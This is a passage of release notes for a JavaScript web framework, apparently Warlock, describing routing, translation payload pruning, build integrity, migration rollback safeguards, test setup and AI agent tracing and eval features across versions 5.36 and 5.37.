warlock buildmeasuresbuild.budgets.payloadfor the sections the build knows: each page's pruned translations and its browser route table, both upper bounds. A page whose measured sections exceed its limit fails the build withmode: "error"and prints a warning withmode: "warn"; the message gives the per-section breakdown and says which sections (page, layout, app and session data, other) are only measured at runtime. The runtime check is unchanged and still never fails a request. - AddedClient build integrity: every build writes
client/.vite/warlock-integrity.json(a digest per file inclient/assets). The nextwarlock buildreads the previous record before it starts and fails, naming each file, when a file name now maps to different bytes. The new web build optionpreviousBuildpoints the comparison at another build's record or output directory (for example the deployed release). New exports from@warlock.js/web/vite:ChunkIntegrityError,CHUNK_INTEGRITY_FILE,readChunkIntegrityand theChunkIntegrityRecordandChunkIntegrityConflicttypes;buildHydrationClienttakespreviousIntegrity. - AddedTwo request tracing phases through core's
TracingHooks.onPhase:translations(route,locale,mode) around binding the page's translation snapshot, andnamed-api-routes(route) around resolving the document's route table. - Changed
*.client.ts(x)is now an enforced client-only boundary. Pages, layouts and components may import it, and it renders on the server unless the component is wrapped in<ClientOnly>; server-only code (loaders in setup files, controllers, services, repositories, models, routes, connectors and*.server.tsfiles) may not import it. In development SSR such an import is an error naming the import chain instead of a warning.warlock checkreports the same import asWL9022. - ChangedThe
console.errorfallback for a page failure, used when no log channel is configured, ignores passive channels (for example the collector behind Core's request log), so the failure still reaches the terminal. - Fixed
apiHref()anduseSubmitForm({ route })called while a page renders on the server found no route table when the page code and the renderer were separate copies of the framework module (the development SSR graph, with an application alias for@warlock.js/web). The renderer now publishes the document's table where every copy reads it. - FixedIn development, the document's browser route table was empty when the renderer ran through Vite SSR as a separate copy of
@warlock.js/core(an HTTP test server or dev server with an application alias), soapiHref()found no route. The page handlers now carry the real router registry to the renderer, which reads the table from it. - FixedA multi-site app in development answered every site hostname with Vite's "Blocked request. This host is not allowed" (403). The dev server now allows the hostnames listed in
web.sites, and any host when a site isdynamic. - FixedProduction client chunks are named after their final bytes. The bundler hashed a chunk before the import specifiers inside it were rewritten, so two builds that differed only in the name of an imported chunk emitted the same file name for different bytes, and two byte-identical chunks could keep different names. After the bundle is written, chunks are renamed in dependency order from the hash of their final code (chunks that import each other are named together), byte-identical non-entry chunks are merged into one file (the budget report keeps the modules of every merged chunk), and the client manifest, the module preload lists, the budget report and the precompressed
.brand.gzfiles all use the final names. - FixedProduction pages no longer walk the whole named route registry on every request. A page's browser route table is resolved once per site and viewer kind and reused; development still resolves it per request, because its registry and files change. A
web.namedApiRoutesfilter function is therefore called once per route, site and viewer kind in production. - FixedA render that built its hydration payload more than once (the document context, the final payload, a data request) pruned the global translation registry each time; it is now pruned once per request.
- Fixed
forbidden.page.tsx(with an optionalforbidden.setup.ts): the application's page for a refused request. A 401 or 403 on a page route renders it with that status. It declares noconfig.route, a second copy fails the build (one per site in multi-site mode, at$sites/<name>/forbidden.page.tsx), and it receives the same{ error, status }props aserror.page.tsx, plusdebugoutside production. A request renders the site's (or the app's) forbidden page, then itserror.page.tsxwith the 401/403 status, then the framework default. The page manifest gainsforbiddenPage(and aforbiddenPageentry per site), the client registry projects it asForbiddenPage, and hydration picks it by the same rule, so the browser hydrates the page the server rendered. Discovery exportsDiscoveredForbiddenPage,isForbiddenPageFileandDuplicateForbiddenPageError. - FixedThe framework's own fallback page now shows the request id and a "Back to home" link, and a 401/403 gets its own plain, accessible "You don't have access to this page." message. Outside production the development details panel still follows it.
- Fixed
requireUser({ userType })andrequireUser({ when })answered a failed check with a raw JSON body ({"error":"Forbidden"}) on a page route. The middleware form now throwsForbiddenError(andUnAuthorizedErrorfor a guest with no sign-in page or a bearer client), so a page route renders the forbidden page instead. A guest withauth.pageAuth.loginPathis still redirected to sign in. To refuse a page request from your own middleware, throw a CoreForbiddenError;response.forbidden()still writes its own JSON reply. - FixedIn development, hydrating an error page failed with a malformed-payload error because the payload check rejected the
debugdetails the server sends outside production. The check now acceptsdebug. - FixedA route-translations lookup for a failure rendered by the error or forbidden page now covers both pages' keys.
- Fixed
WebConnector.shutdown()closes the Vite dev server, its HMR websocket and its file watchers whenever Vite was created, not only afterstart()completed. A boot that failed after creating Vite, or a shutdown betweenboot()andstart(), used to leave Vite running and keep a test or dev process from exiting. A failure to close one part no longer skips the others, and the first failure is reported afterwards. - FixedThe client build enforces a module boundary: browser code may import from
app/<module>/...only browser-safe files, which are*.client.ts(x), schema files (*.schema.tsor aschema/folder), type files (*.types.ts,*.d.tsor atypes/folder), the module'sweb/folder and non-code files. Any other file (a controller, service, repository, model, route file or plain helper) fails the build with the import chain. A type-only import is erased and always allowed.web.moduleBoundarysets"warn"(default: report and continue, so an existing app upgrades without a broken build),"error"(fail the build) or"off", in development and inwarlock build. - FixedDevelopment SSR warns once per
*.client.*module that readswindow,document,navigator,localStorageor another browser global while it is being imported (outside a function or atypeofguard), naming the file and line.
- Added
Model.get()andModel.set()are typed from the model's schema type.get("publishedAt")isDate | null, a column with a.default()is neverundefined,get(key, default)dropsnullandundefined, andset(key, value)rejects a value of the wrong type. Dot paths ("profile.city") stay loosely typed (any, or the type argument you pass) so large schemas do not slow the compiler. A model declared without a schema type keeps loose access. - Added
ModelData<typeof schema>(the schema's output type, casts applied),ModelDataSnapshot<T>,ModelKey,ModelValueandModelPathtypes. - Added
model.toDataSnapshot(): a typed, read-only copy of the model's data without itshiddencolumns, for resources and presenters that want exact types. - Added
Model.requestSchema()returns the model schema without the fields marked.internal(), so a server-set field is declared once and request schemas derived from the model omit it.Model.create()still accepts those fields. - AddedIn development, reading a schema column as a property (
model.title) logs one warning per model and column that namesmodel.get("title"). Nothing is installed whenNODE_ENVisproduction. - ChangedBREAKING For a model declared with a schema type,
get()andset()with a top-level column name that is not in the schema are now type errors. Add the column to the schema, use a dot path, or declare the model without a schema type to keep loose access. - FixedA model declared with a schema type is assignable to the loose
ModelandChildModelagain, so helpers, migrations andthis-typed statics accept typed models unchanged.
- AddedThe web template ships
src/web/forbidden.page.tsxandforbidden.setup.ts(styled byforbidden.css, imported fromapp.css): the page a 401/403 on a page route renders instead of raw JSON. The template README and theweb-code-standardsskill describe it. - AddedThe starter ships
src/config/web.tswithmoduleBoundary: "error", so browser code importing a server-only module file fails the client build in new apps (the framework default for existing apps is"warn"). - ChangedThe generated testing guidance and code standards use the
*.unit.spec.ts/*.unit.test.tsconvention for unit specs (thetestfeature'sunitandintegrationVitest projects pick files by that infix). - ChangedThe starter boots the test framework once per Vitest worker:
src/config/tests.tssetslifetime: "worker"andresetDatabase: true(WARLOCK_TEST_LIFETIME=fileswitches back), andsrc/config/database.ts(and the PostgreSQL variant) uses one database per Vitest worker,<DB_NAME>_test_<worker id>. With--features=testthe generated unit project fails a spec that imports a connector or boots the app, and the integration project runs withisolate: false. The PostgreSQL variant needs those databases created and migrated first. - ChangedThe template's
testing-strategyskill describes the per-file reset, thesetupTest({ lifetime: "file" })opt-out, the unit-project guard,WL9024, the boot profile and Vitest 5'sclearMocksdefault. - ChangedThe starter app keeps translations in JSON:
app/auth/utils/locales.jsonandapp/shared/utils/locales/{validation,http,attributes}.jsonreplace the twoutils/locales.tsfiles, anddocs/new-module.mddescribeslocales.jsonandlocales/<feature>.json. - ChangedThe template's
module-boundaries,code-standardsandweb-code-standardsskills describe small exported types co-located in*.service.ts, optional barrels (and the opt-inWL9023lint), the browser-safe surface of an app module and the*.client.ts(x)boundary.
- AddedThe Requests panel and
GET /__warlock/api/requestsalso read core's persistent request log (storage/logs/requests/*.jsonl), so request history survives a restart and the 200-request ring buffer. Live and persisted requests are merged without duplicates by request id; requests read only from disk are markedpersisted. - AddedRequest filters: the list API takes
status(404or a class such as5xx),route,method,since,until,q(text in the URL or id) andlimit, answering 400 for a bad value; the dashboard has search, status and method filters. - AddedA saved request opens with its error (message, stack, phase, page file, site), the redacted request and response, the log entries and the query summary with N+1 findings.
GET /__warlock/api/requests/:idcarries the full record asrecord. - AddedCopy as curl:
GET /__warlock/api/requests/:id/curland a button in the request detail. Values the log redacted stay[REDACTED]. - AddedAgents tab at
/__warlockfor the per-turn agent traces@warlock.js/airecords in development: system prompt, tools offered with schema hashes and token estimates, tool calls with results and refusals, retries and re-prompts, usage and cost, and a comparison with the previous run of the same agent. It needs no Panoptic. - Added
GET /__warlock/api/ai/agent-runs(optionally?requestId=) andGET /__warlock/api/ai/agent-runs/:id, plusagent-traceevents on the stream, behind the existing development and loopback guard. Runs started during an HTTP request link to it. TypesDevtoolsAgentRunandDevtoolsAgentTraceEvent.
- Added
humanizeAttribute(key)turns a field key into words (max_dumbbell_kgbecomes "Max dumbbell kg"). - Changed
ObjectValidator#partial()keeps its types: the named keys (all keys when none are named) become optional in the inferred shape. - Fixed
toJsonSchema("openai-strict")keeps an optionalv.enum(),v.literal(),in()list or union nullable:nullis added to anenum, aconstbecomesanyOf: [{ const }, { type: "null" }],anyOf/oneOfgain one{ type: "null" }branch, andallOf/$refschemas are wrapped inanyOf. Before, such fields were listed inrequiredwith no way to sendnull. - Fixed
.nullable()on an enum, a literal, a scalar or a union no longer produces atypeof[undefined, "null"]fordraft-2020-12; the same shapes as above are used, andopenapi-3.0addsnullto theenumnext tonullable: true. A nullable single literal now emitsanyOf: [{ const }, { type: "null" }]instead of a bareconst. - Fixed
.internal()marks a field as set by the server. It validates and infers like any other field;ObjectValidator#withoutInternal()returns the schema without those fields (type included) for request validation, andinternalKeys()lists them.BaseValidator#isServerSet()reads the mark. - Fixed
translateAttributepassed tov.validate(schema, data, options)now translates the:inputplaceholder too; before, only the global config's translator was used for attribute labels.
- Added
ai.tool()checks its JSON Schema against OpenAI strict, Anthropic and Google when the tool is defined and, in development only, logs one warning per tool definition: optional fields sent as required and nullable, properties missing fromrequired, objects withoutadditionalProperties: false, unsupported keywords (allOf,oneOf,not, conditionals,patternProperties, ...), non-object roots, invalid names, oversized descriptions and heavy definitions.lint: falseorlint: { targets, warnAboveTokens, ... }on a tool andai.config({ toolLint })tune or silence it. - Added
describeToolSchema(tool, options?)anddescribeToolSchemas(tools, options?)(alsoai.tools.describe/ai.tools.describeAll) return the findings, a schema hash and an estimated token cost per definition;formatToolSchemaReports()prints them. The token figure is an estimate (charsPerToken, default 4);ai.tools.measurestays the exact native count. - AddedOpt-in tool-use contract on agents.
actWhenAsked: { intents, requiredTools }re-prompts once when an action request is answered without a required tool call.onToolRefusal: "retry-once-with-hint"(or{ retries, hint, isRefusal }) sends one retry prompt with the refusal reason when the model gives up after a tool refused a call.backstops: [{ phase, detect(turn), run(context) }]run deterministic checks before the first model call or after a final answer, and may return apromptto send the model. Agents without these options behave exactly as before. - AddedEval scorers
ai.eval.requiredToolCalled({ tools, intents?, require? })("required tool not called") andai.eval.changeClaimedWithoutToolCall({ tools?, claims? })("change claimed without a tool call"). - AddedAgent traces. Each agent run records a per-turn trace: system prompt (hash, and text in development), tools offered with schema hashes and token estimates, tool calls, results, refusals, tool-use contract actions, token usage and cost. On in development, off under test and in production;
trace: true | false | { enabled, text, redact, maxStringLength, store }per agent (an options object records in development only unlessenabled: true). Traces are redacted with the logger's secret-key rules and registered credentials, and kept in the shared in-memoryagentTracesstore (get,list,subscribe,clear;createAgentTraceStore()for another).diffAgentTraces(a, b)reports whether two runs sent the same system prompt and tool definitions;formatAgentTrace(trace)renders one as text.
- Added
LogChannel.passive: a channel that only observes entries (keeps them in memory, derives data from them) and persists nothing sets it totrue. Code that falls back to the terminal "when no log channel is configured" ignores passive channels, so adding an observer never silences that fallback.
5.37.1October 24, 2026
Multi-site development fix, page error logging and npm family upgrades. Multi-site pages no longer answer 500 in development and under the HTTP test server (the route table is read from Core's router; web.namedApiRoutes: false skips it). Every 5xx page failure logs one error record with the message, mapped stack, phase, page file, route, site and request id, and the development error page shows the same details. warlock update on npm removes the family's lock entries and re-resolves them in one install (npm 11.6.2 or newer), WL8010 reports mixed family versions, and warlock upgrade no longer downgrades newer packages and names the package manager the project uses. Vitest 5 no longer warns about a repeated lowerStage3Decorators(), worker lifetime supports HTTP and database suites (tests.resetDatabase, workerDatabaseName()), HMR attaches through Vite 8's server.ws, and the client-bundle check no longer reports the app's index.html.
Full release notes or run npx warlock release-notes.
- Added
tests.resetDatabase(trueor{ connection, except, only }): withtests.lifetime: "worker", truncates every table or collection of the data source before each file, keeping the migrations ledger and system collections, then runstests.resetBetweenFiles.resetTestDatabase(),workerDatabaseName(base)andtestWorkerId()are exported from@warlock.js/core/testsso each Vitest worker can use a database of its own. - AddedA worker-lifetime runtime closes the
createTestHttpServer()servers a file left open before the next file starts, so their routes and ports do not leak across files. - AddedThe setup profile reports
body, the time between setup finishing and teardown starting. When a file-lifetime run of at least four files spends half or more of its time in setup, the worker summary andTestSetupReporterprint a line recommendingtests.lifetime: "worker". - Added
warlock add testgeneratessrc/config/tests.ts.WARLOCK_TEST_LIFETIME=workerturns on worker lifetime andresetDatabase, and the generated integration project setsisolate: falsefrom the same variable. - AddedUpgrade codemod
vitest-inline-project-pluginslists alowerStage3Decorators()call repeated inside a Vitest config that declaresprojects. - ChangedThe exact, cyclic pins between
@warlock.js/*packages stay (the family is released in lockstep). To get past them,warlock updateon npm removes the family's (andvite,vitest,@vitest/*and@vitejs/*) entries frompackage-lock.jsonand re-resolves them in onenpm install; npm 11.6.2 or newer is required for that step, andWL8010reports mixed family versions. - ChangedPackage manager detection with several lockfiles side by side (and no
packageManagerfield orpnpm-workspace.yaml) uses the most recently written one, the lockfile the project installs with, andwarlock updatesays which it chose.bun.lockstill wins over theyarn.lockBun also writes. - FixedVitest 5 printed
The "<project>" project applies the same plugin multiple times: "warlock:lower-stage3-decorators"when a config listedlowerStage3Decorators()in the root and again in an inline project. Instances after the first in a process now carry a numbered plugin name and skip modules that no longer contain a decorator, so the warning is gone and a project that does not inherit the root config still lowers decorators. The docs and skills explainextendsfor inline projects. - Fixed
warlock checkreportsWL8010when the installed@warlock.js/*packages are on different versions, naming the packages that differ from the newest one and pointing towarlock update. The family stays in lockstep: packages pin each other to the exact same version, so a mixed set is not a valid install. - Fixed
warlock updatefor npm projects removes the family's (and Vite's and Vitest's) entries frompackage-lock.jsonbefore the install, so onenpm installre-resolves them together, and warns when the npm in use is older than 11.6.2, whichnpm10 cannot always do (ERESOLVE, or a crash on the Vitest peer set). It names the install command of the package manager the project uses instead of a generic one. - Fixed
warlock upgradeno longer moves a@warlock.js/*dependency down: one already newer than--tostays as it is and is listed in the review list. Its install hint names the package manager the project installs with, not the first lockfile found. - Fixed
@warlock.js/coreexports the sharedloginstance from@warlock.js/logger, so framework packages that depend on core write to the channels the app configured withsetLogConfigurations.
- AddedOutside production, the error page, an authored
ErrorBoundaryand the framework fallback are followed by a development panel (data-warlock-dev-error) showing the message, phase, page file, route, site and stack.error.page.tsxreceives the same facts asprops.debug(PageErrorDetails, new type export). Production responses stay generic and never carry them. - Added
ServerErrorContext(the context ofweb.errors.report) gainsfile,siteandlevel;phasetakes the values above. - FixedThe development server no longer prints
server.hmr.protocol/host/port/path/clientPort/timeout/server is deprecatedon every boot. The HMR websocket is attached to the app's HTTP server through Vite 8'sserver.ws.serverinstead of the deprecatedserver.hmr.server; hot reload behaves as before. - FixedThe client-bundle security check (Gate A) no longer warns
could not judge this importfor the app's ownindex.htmlentry, in either the client or the SSR build. HTML entries and Vite's virtual HTML proxy modules are treated as entries, not imports; a genuinely unresolvable import still warns. - FixedA page that answered 500 left only the
Completed Request: … 500line in the log. Every5xxpage response now writes one error-level logger record (module: "web",action: "page.<phase>") with the error message, the stack, the matched page file, the route pattern, the site key, the request id and the phase:translations,module-load,middleware,session,loader,metadata,render,stream,defer,error-page,request-handler, orunknownfor a5xxnobody reported (for exampleresponse.setStatusCode(500)without a throw). With no log channel configured the failure still goes toconsole.error. Errors that React swallows into anErrorBoundaryorerror.page.tsx, errors fromonShellErrorandonErrorof the stream, and failures while binding route translations or loading the page module are logged too. The same error is logged once however many stages observe it, and a4xxoutcome (not found, redirect, validation, a thrownHttpErrorbelow 500) is not logged as an error. - FixedMulti-site apps: pages no longer answer 500 in development and under the HTTP test server with
input.router.getNamedApiRoutes is not a function, even withweb.namedApiRoutes: false. The browser route table now reads Core's real router registry, never the per-site registration router. Withweb.namedApiRoutes: falsethe page's route names are no longer computed at all, and a failure computing the table is logged through the page error log with the new phasenamed-api-routesinstead of a bare 500. - FixedThe development stack is mapped back to source files through the dev server (
ssrFixStacktrace); in production, run Node with--enable-source-maps.
- ChangedThe template's
testing-strategyskill describesWARLOCK_TEST_LIFETIME=worker,resetDatabaseandworkerDatabaseName()for the generated test setup.
5.37.0October 24, 2026
Field-report fixes: route table controls, safe document-store rollbacks, warlock release and eval variance. Breaking: on MongoDB a plain dropColumn() inside down() is skipped with a warning (pass { destructive: true } to unset; add-only Migration.alter derives a ledger-only rollback), and warlock migrate --rollback/--fresh and the cascade rollback commands print a destructive-operation summary and need confirmation or --yes outside development. web.namedApiRoutes turns the page route table off, limits it with an allowlist or filter, and keeps privatePrefixes out; routes take a sites option for multi-site apps, and guarded routes are left out for known guests. Route inspection, the generated AGENTS.md facts and WL9006 count group guards and markAuthGuard() middleware. warlock release adds candidate, gate, migrations --prove, stage, activate, verify, rollback and prune for application deploys. agent.eval({ repeat }) reports pass counts, Wilson and t intervals, an interval-based regression gate and stable versus flaky failures. Fixes: validation messages never keep an unfilled :placeholder, finished Vitest runs exit on their own (the file logger's flush timer no longer holds the process), pages whose components import CSS work in Node page discovery, and development logs the first hydration mismatch.
Full release notes or run npx warlock release-notes.
- Added
warlock release <action> [id]: a deploy pipeline for applications, configured by the newreleasesection ofwarlock.config.ts(ReleaseConfig,ReleaseCheck).candidatefreezes a clean commit (--commit,--allow-dirty) into.warlock/releases/<version>-<shortsha>/with a manifest (version, commit, creation time, Node version, lockfile hash).gateruns an ordered list of named checks (default: typecheck, check, test, build) and stops at the first failure.migrations --prove [--target]snapshots the migration ledger, tables and indexes around a real run of the pending migrations and compares them with the expected set.stagecopies the build and what is needed to run it.activate [--preflight] [--dry-run] [--allow-same]checks the staged files, the gate and that the version is strictly greater than the active one, then switchescurrentwith an atomic symlink, keepspreviousand runs the restart command you configure inrelease.restart.command; Warlock never calls a process manager itself.verifyretries a GET onrelease.verify.urland compares the reported version and commit with the active release.rollback [--dry-run]switches back and reruns the restart command; it does not roll migrations back.list,statusandprune --keep <n>(the only command that deletes releases) complete the family. Every action accepts--json, and a manifest per release plus arelease.logrecord what happened. - Added
sitesroute option androuter.group({ sites })option: theweb.siteskeys a multi-site app offers a named API route to in the browser. Absent means shared by every site; a route's ownsitesreplaces its group's. The route snapshot carriessitesonly on routes that declared it. - AddedThe named route snapshot carries
guarded: trueon a route with an auth guard in its middleware chain (group middleware included), so browser route tables can leave it out for guests. - AddedIn development, the first time a validation translation cannot be filled, a warning names its
validation.*key. - ChangedBREAKING
warlock migrate --rollbackandwarlock migrate --freshprint a destructive-operation summary (collections/tables dropped, fields/columns unset, document/row counts) before running. Outside development they ask for confirmation, and exit with code 1 when there is no terminal. New--yes, -yand--forceflags confirm without a prompt. - Fixed
warlock inspectand the generatedAGENTS.mdlist of "Mutating routes without an auth guard" counted only routes whose guard attached awarlock.authdescriptor. A middleware that declares itself a guard withmarkAuthGuard(), including one registered once on arouter.group, now marks every route inside the group as guarded. - Fixed
warlock check(WL9006) treatsmarkAuthGuard(fn, false)written inline in a middleware list as not a guard, and recognises a local factory such asconst requireAdmin = () => markAuthGuard(fn)used asmiddleware: [requireAdmin()]in a route or group. - FixedThe default validation message translation no longer returns a message with an unfilled
:placeholder. When the browser form library is imported on the server, its Englishvalidation.*defaults share the translation registry and name the length value:length, where seal uses:minLengthand:maxLength, so av.string().maxLength(5)failure read "This input can not be greater than :length characters". The aliases:length(forminLengthandmaxLength) and:matchingInput(formatch) are now mapped, and a translation that still cannot be filled falls back to seal's own message. App overrides ofvalidation.*keep working. - FixedThe dev loader hook answers stylesheet imports (
.css,.scss,.sass,.less,.styl) with an empty module, so sitemap discovery works for a page whose component imports a stylesheet instead of failing withERR_UNKNOWN_FILE_EXTENSION.
- Added
web.namedApiRoutescontrols the route table each page embeds forapiHref()anduseSubmitForm({ route }).falseembeds nothing: a named-route call then throws, and in development the error names the option (explicitpathandmethodstill work). An allowlist of route names (withprefix.*patterns) or a filter function(route, { site, guest }) => booleannarrows the table, and{ include, privatePrefixes }combines both. Every form can only remove routes from what the page's client code reaches. - Added
web.namedApiRoutes.privatePrefixes(for example["/api/admin/", "/api/webhooks/"]) keeps every route under those path prefixes out of every table, for any viewer and any site. Prefixes match whole path segments. - AddedSite scoping: in a multi-site app a page never embeds a route declared for other sites. A route declares its sites with the
sitesoption (see core); a route that declares none is shared by every site. - AddedA route with an auth guard in its middleware chain (group middleware included) is left out of the table for a guest viewer. A viewer is a guest only when
web.sessionis configured and resolves no user; withoutweb.sessionthe viewer is unknown (the app may sign in with tokens in the browser) and guarded routes stay. - AddedTypes
NamedApiRoutesOption,NamedApiRoutesConfig,NamedApiRoutesInclude,NamedApiRoutesFilter,NamedApiRouteCandidateandNamedApiRouteContext. - ChangedServer seam
resolveNamedApiRoutes(names, options)takes{ config, site, guest }; without options it applies site scoping and guard rules for a guest in single-site mode. - ChangedIn development, when React reports a hydration mismatch, the client logs the first mismatching node: the element path, the server text and the client text. Production builds are unchanged.
- ChangedThe
create-a-pageandlocalize-pagesskills and the localization and client/server boundary docs warn thatIntl.DisplayNames,localeComparesorting and similarIntloutput can differ between Node and browsers and cause hydration mismatches, and recommend a shared pre-computed table or rendering after hydration.
- Added
Migration.alterwith onlyadd(no customup/down) derives itsdown(): on SQL it drops the added columns, on document stores it is ledger-only becauseup()changed no documents. The "up without down" warning does not fire for it. - Added
dropColumn(column, { destructive: true })(DropColumnOptions), the explicit opt-in to unset a field on a document store during a rollback. - AddedRollback plan:
migrationRunner.planRollback(batches)returns, per migration, the tables/collections dropped or truncated and the fields/columns dropped or unset (RollbackPlan,DestructiveOperation), with document/row counts from the new optionalcountRows/countWithColumnsdriver methods (implemented for MongoDB,countRowsfor Postgres). - Added
confirmRollback({ all, batches, yes, development })prints that plan and asks for confirmation outside development.cascade migrate:rollbackandcascade migrate --freshuse it and accept--yes/-yand--force. - Added
Migration#isDocumentStore, to guard a SQL-only drop in a hand-writtendown(). - ChangedBREAKING On document stores (MongoDB), a plain
dropColumn()/dropColumns()insidedown()is skipped with a warning instead of running$unseton every document. Forward drops (up(),drop: [...]) are unchanged. - ChangedBREAKING
cascade migrate:rollbackandcascade migrate --freshprint a destructive-operation summary first. Outside development (NODE_ENVother thandevelopment, including unset) a rollback that removes data (table or collection drops, applied field drops) asks for confirmation, and refuses without a terminal.
- Added
agent.eval({ repeat })runs every case several times (default1, unchanged). Case results carrypasses/repeat, per-runruns, and score and pass-rate intervals; reports carrystats(overall and perEvalCase.category, Wilson intervals for pass rates and Student-t intervals for mean scores), plusstableFailuresandflakyCaseswhenrepeat > 1.toJUnitshowspassed 2/3 runsfor repeated cases. - Added
gate: "interval"for baseline comparison flags a case, or an overall or per-category pass rate or mean score, only when the baseline interval lies above the current interval by more thantolerance, so run-to-run noise no longer reads as a regression. The defaultgate: "point"keeps the existing rule.failOnStableFailuresfails the regression verdict when a case failed every run.diffaccepts{ tolerance, gate, confidence, failOnStableFailures }as its third argument (a plain tolerance number still works), andEvalRegressiongainsregressedMetrics,stableFailuresandflaky. - Added
EvalCase.categorygroups cases for per-category statistics. - AddedSerialized baselines store the repeat count, per-case counts and intervals; baselines saved earlier still load and count each case as one sample.
- Fixed
FileLog's background flush interval no longer keeps the process alive. A finished Vitest run or CLI command used to wait on it, and Vitest reported "something prevents the main process from exiting". Buffered entries are still written byflush()andflushSync().
5.36.0October 21, 2026
Smaller, safer page payloads and the Vite 8 / Vitest 5 family. Breaking: @warlock.js/web needs Vite 8 and plugin-react 6 (a clear error names the upgrade on Vite 7), the test kit and AI matchers need Vitest 5, pages embed only the named API routes their client code reaches (config.apiRoutes, clientVisible: false), and hydration payloads carry only the translation keys a page uses. npx warlock upgrade --from 5.35 --to 5.36.0 raises Vite, Vitest and plugin-react and rewrites the Vitest 5 runner import. Shared translation groups ship once per locale as cached, content-hashed tables (fixed per process in production, with a latest-table fallback); other keys are pruned per page from literal keys, count variants, static template prefixes and config.translations, with WL9104 for keys built at run time. build.budgets.payload (default 64kb) reports oversized inline payloads by section. Fixes: development page edits no longer wait for the sitemap refresh; cascade persists unsetting a stored empty object; browser e2e click and wait errors keep the real reason near the deadline. The docs site moves to Astro 7.
Full release notes or run npx warlock release-notes.
- AddedPage documents carry only the named API routes their client code can reach. The build finds them from the page's browser code (string literals, template prefixes and the register hooks of setup files) and from
config.apiRoutes, which page, layout and root setups accept for names the build cannot see (aprefix.*pattern covers every name under a prefix). - Added
build.budgets.payloadsets the inline payload limit for each rendered document (default64kb, with route globs and awarnorerrormode). A runtime measurement of the hydration data and the route table, split by section, reports an over-budget route once per process with its largest keys. - Added
warlock checkreportsWL9019andWL9020for browser route references (see core). - Changed
apiHref()anduseSubmitForm({ route })resolve names against the current page's route table. Development errors name the route and the declaration that fixes it; production throws a short error with no fallback. - ChangedA client navigation publishes the table of the page it swaps in.
- ChangedThe document's hydration payload no longer repeats the route table, which its own script already carries.
- ChangedThe client build, the development server and the Vite plugins run on Vite 8 (Rolldown) and
@vitejs/plugin-react6. The vendor split usesbuild.rolldownOptionswith acodeSplittinggroup, and the development server configures JSX throughoxc, so neither prints a Vite deprecation warning. - ChangedThe
vitepeer range is^8.0.0and the@vitejs/plugin-reactpeer range is^6.0.0. - ChangedBREAKING A page's hydration payload no longer carries every translation group, in either translation mode. It carries the keys the page's client code can reach, and the shared groups arrive in a separate, cached table. Apps that read the hydration payload directly, that read keys their client code builds at run time without declaring them, or that rely on every key being present in the browser's registry, must update. Declare the keys with
config.translations, or setbuild.translations.prunetofalsein the web connector options to restore the previous payload while migrating. See the upgrade note below. - FixedDevelopment page edits reach the browser without waiting for the sitemap subscription refresh, which still runs in order before the next route update. Under heavy machine load a page edit made right after deleting a layout or setup file could take longer than ten seconds to appear.
- FixedShared translation groups (default
appandcommon) are shipped once per locale as a table whose URL carries its content hash, and the document preloads it. Hydration waits for the table, so the first client render has every key the server rendered with. Locale switching loads the other locale's table. Route dictionaries (locales.json) emit the table at build time underassets/translations/; the global registry (extend()/register()) computes it from the live registry and serves it at/__warlock/translations/<locale>.<hash>.json. - FixedProduction serves a table with
Cache-Control: public, max-age=31536000, immutable, and each locale's newest table at/__warlock/translations/<locale>.jsonwithno-cache. - FixedGlobal-registry production builds copy the shared groups once, when the web connector boots. That copy and its hash are fixed for the process, so every process of one build publishes the same table under the same name. Keys a page registers later travel inline in its payload.
- FixedA browser whose hashed table answers 404 fetches the unhashed latest table, then retries the hashed one, and only then reports the failure and renders keys. Development serves it with
no-storeand carries every group, so the missing-key detector can read it. A name the server no longer holds (the eight most recent tables per locale are kept) answers 404 withno-storeand never different bytes under the same name. - FixedPer-page pruning of every other group, in both modes: a page inlines only the keys its client module graph can look up. Literal keys, static-prefix template keys (which include their subtree), module-level constants, literal choices, and
config.translationsdeclarations in the page's setup file are resolved statically. Any other key-shaped string literal in the graph (a constant, an object mapping names to keys, a prop, an argument to a helper) that equals a key, a group or a subtree is shipped too, and the head of a template literal counts as a prefix. A key used with acountships all its variants (items_one,items_other, ...) when the page names the base. A key that cannot be resolved (trans(key), or a translator passed on as a value) makes that page fall back to every non-shared group. - FixedThe web connector's build option
build.translations:sharedGroups(default["app", "common"]) andprune(defaulttrue). Development reads the same option, so both halves share the settings. - FixedThe hydration payload's
translationAssetsreference (URL, hash, groups and a development flag). Client navigation merges each payload's pruned keys into the locale's dictionary (or the global registry). - FixedDevelopment: a translation the page reads but its payload lacks is resolved from the full table, with one warning per key and page that names the
config.translationsdeclaration to add. A base key whose count variants were delivered is not reported as missing. - FixedProduction: a missing key renders its key and is reported once through
onClientErrorwith the newkind: "translations". A shared table that cannot be loaded is retried once; the page then renders its keys and the failure is reported the same way. - Fixed
warlock checkreportsWL9104for a translation key computed at runtime insrc/web. - FixedGate A's refusal of Node builtins in the bundler's
externaloption works on Vite 8. Rolldown does not passexternaltobuildStart, so the guard reads the option in theoptionshook and normalizes a string, a RegExp, an array or a function; without this a build withfsexternalized would have shipped it unrefused. - FixedClient budget attribution (
clientBudgetModules) reads Rolldown'srenderedLength, and a spec runs it on a real build. - FixedAn app that still has Vite 7 installed gets a clear error before the client build or the development server starts, naming the found version and the upgrade command. Before,
warlock buildfailed withCould not resolve entry modulebecause Vite 7 ignoresbuild.rolldownOptions. A Vite version that cannot be parsed is not blocked. - SecurityNamed API routes are no longer published to every visitor. Admin, auth and internal endpoints are embedded only in pages whose browser code reaches them, and never for a route registered with
clientVisible: false. Server-side authorization still decides each request.
- Added
clientVisibleroute option. SetclientVisible: falseon a named API route to keep it out of every page's browser route table and out of client code. The route snapshot carriesclientVisible: falseonly on such routes. - Added
warlock checkreportsWL9019(warning) for a browser route call (apiHref(),useSubmitForm({ route })) whose name cannot be read statically, andWL9020(error) for a browser reference to aclientVisible: falseroute. - Added
build.budgets.payload(PayloadBudgettype) sets the inline payload budget for each rendered document. Web reads it;warlock builddoes not measure it. - Added
page.measurePayload({ limit })in the browser end-to-end kit records a document's inline payload under the evidencepayloads. - AddedStatic translation usage analysis for the client module graph:
